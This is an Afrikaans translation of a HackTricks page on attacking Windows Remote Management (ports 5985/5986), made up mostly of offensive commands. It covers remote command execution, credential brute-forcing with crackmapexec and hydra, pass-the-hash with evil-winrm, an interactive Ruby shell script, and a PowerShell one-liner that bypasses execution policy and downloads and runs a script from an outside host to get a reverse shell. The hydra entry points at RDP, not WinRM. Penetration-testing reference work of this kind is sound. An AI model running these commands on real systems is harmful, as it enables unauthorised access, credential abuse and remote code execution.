5985,5986 - Pentesting WinRM

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hacking-insigte Tree in kontak met inhoud wat in die opwinding en uitdagings van hackery duik

Haknuus in Werklikheid Bly op hoogte van die snelveranderende hackery-wêreld deur werklike nuus en insigte

Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

WinRM

Windows Remote Management (WinRM) word uitgelig as 'n protokol deur Microsoft wat die afgeleë bestuur van Windows-stelsels deur HTTP(S) moontlik maak, waarby SOAP in die proses gebruik word. Dit word fundamenteel aangedryf deur WMI, wat ditself aanbied as 'n HTTP-gebaseerde koppelvlak vir WMI-operasies.

Die teenwoordigheid van WinRM op 'n masjien maak dit moontlik vir eenvoudige afgeleë administrasie via PowerShell, soortgelyk aan hoe SSH vir ander bedryfstelsels werk. Om vas te stel of WinRM operasioneel is, word aanbeveel om te kyk vir die oopmaak van spesifieke poorte:

  • 5985/tcp (HTTP)

  • 5986/tcp (HTTPS)

'n Oop poort van die lys hierbo beteken dat WinRM opgestel is, wat dus pogings toelaat om 'n afgeleë sessie te begin.

Inisieer 'n WinRM-sessie

Om PowerShell te konfigureer vir WinRM, kom Microsoft se Enable-PSRemoting cmdlet in werking, wat die rekenaar opstel om afgeleë PowerShell-opdragte te aanvaar. Met verhoogde PowerShell-toegang kan die volgende opdragte uitgevoer word om hierdie funksionaliteit moontlik te maak en enige gasheer as vertrou word te merk:

Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *

Hierdie benadering behels die byvoeging van 'n wildkaart na die trustedhosts-konfigurasie, 'n stap wat versigtige oorweging vereis as gevolg van sy implikasies. Daar word ook opgemerk dat dit moontlik nodig kan wees om die netwerk tipe van "Openbaar" na "Werk" te verander op die aanvaller se masjien.

Verder kan WinRM afgeaktiveer word op afstand deur die gebruik van die wmic-bevel, gedemonstreer soos volg:

wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"

Hierdie metode maak die afstandsopstelling van WinRM moontlik, wat die buigsaamheid in die bestuur van Windows-masjiene van ver af verbeter.

Toets of gekonfigureer

Om die opstelling van jou aanvalsmasjien te verifieer, word die Test-WSMan bevel gebruik om te kontroleer of die teiken WinRM behoorlik gekonfigureer het. Deur hierdie bevel uit te voer, behoort jy besonderhede te ontvang oor die protokolweergawe en wsmid, wat 'n suksesvolle konfigurasie aandui. Hieronder is voorbeelde wat die verwagte uitset demonstreer vir 'n gekonfigureerde teiken teenoor 'n ongekonfigureerde een:

  • Vir 'n teiken wat wel behoorlik gekonfigureer is, sal die uitset soortgelyk lyk aan die volgende:

Test-WSMan <target-ip>

Die respons behoort inligting te bevat oor die protokol weergawe en wsmid, wat aandui dat WinRM korrek opgestel is.

  • Omgekeerd, vir 'n teiken wat nie ingestel is vir WinRM nie, sou dit tot geen sulke gedetailleerde inligting lei nie, wat die afwesigheid van 'n behoorlike WinRM-opstelling beklemtoon.

Voer 'n bevel uit

Om ipconfig op afstand op 'n teikenrekenaar uit te voer en die uitvoer te sien, doen die volgende:

Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]

Jy kan ook 'n bevel van jou huidige PS-konsole uitvoer via Invoke-Command. Veronderstel dat jy plaaslik 'n funksie genaamd enumeration het en jy wil dit op 'n afgeleë rekenaar uitvoer, kan jy doen:

Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]

Voer 'n Skrip Uit

Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]

Kry omgekeerde dopshell

Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}

Kry 'n PS-sessie

Om 'n interaktiewe PowerShell-skul te kry, gebruik Enter-PSSession:

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)

Die sessie sal in 'n nuwe proses (wsmprovhost) hardloop binne die "slagoffer"

WinRM Oopdwang

Om PS Remoting en WinRM te gebruik, maar die rekenaar is nie gekonfigureer nie, kan jy dit aktiveer met:

.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"

Stoor en Herstel sessies

Dit sal nie werk as die taal beperk is op die afgeleë rekenaar nie.

#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1

Binne hierdie sessies kan jy PS-skripte laai deur Invoke-Command te gebruik.

Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1

Foute

As jy die volgende fout vind:

enter-pssession : Verbinding met afgeleë bediener 10.10.10.175 het misluk met die volgende foutboodskap : Die WinRM-klient kan nie die versoek verwerk nie. As die outentiseringskema verskil van Kerberos, of as die klient-rekenaar nie by 'n domein aangesluit is nie, moet HTTPS-vervoer gebruik word of die bestemmingsmasjien moet by die TrustedHosts-konfigurasie-instelling gevoeg word. Gebruik winrm.cmd om TrustedHosts te konfigureer. Let daarop dat rekenaars in die TrustedHosts-lys moontlik nie geoutentiseer word nie. Jy kan meer inligting daaroor kry deur die volgende bevel uit te voer: winrm help config. Vir meer inligting, sien die about_Remote_Troubleshooting Help-onderwerp.

Die probeer op die klient (inligting van hier):

winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hack-insigte Gaan aan met inhoud wat in die opwinding en uitdagings van hack betrokke is

Hack-nuus in werklikheid Bly op hoogte van die snelveranderende hackwêreld deur middel van werklike nuus en insigte

Nuutste aankondigings Bly ingelig oor die nuutste foutbelonings wat bekendgestel word en noodsaaklike platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

WinRM-verbinding in Linux

Brute Force

Wees versigtig, die kragtige krag van winrm kan gebruikers blokkeer.

#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm

Gebruik van kwaadwillige winrm

gem install evil-winrm

Lees die dokumentasie op sy github: https://github.com/Hackplayers/evil-winrm

evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>

Om kwaadwillige-winrm te gebruik om met 'n IPv6-adres te verbind, skep 'n inskrywing binnein /etc/hosts wat 'n domeinnaam na die IPv6-adres instel en verbind met daardie domein.

Gee die huts met kwaadwillige-winrm

evil-winrm -u <username> -H <Hash> -i <IP>

Die gebruik van 'n PS-docker masjien

docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds

Gebruik 'n ruby-skrip

Kode onttrek van hier: https://alamot.github.io/winrm_shell/

require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt
# https://alamot.github.io/winrm_shell/


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end

Shodan

  • port:5985 Microsoft-HTTPAPI

Verwysings

HackTricks Outomatiese Opdragte

Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}

Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!

Hack-insigte Gaan aan met inhoud wat die opwinding en uitdagings van hack bekyk

Hack Nuus in Werklikheid Bly op hoogte van die snelveranderende hackwêreld deur werklikheidsnuus en insigte

Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings

Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!

Leer AWS-hack van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated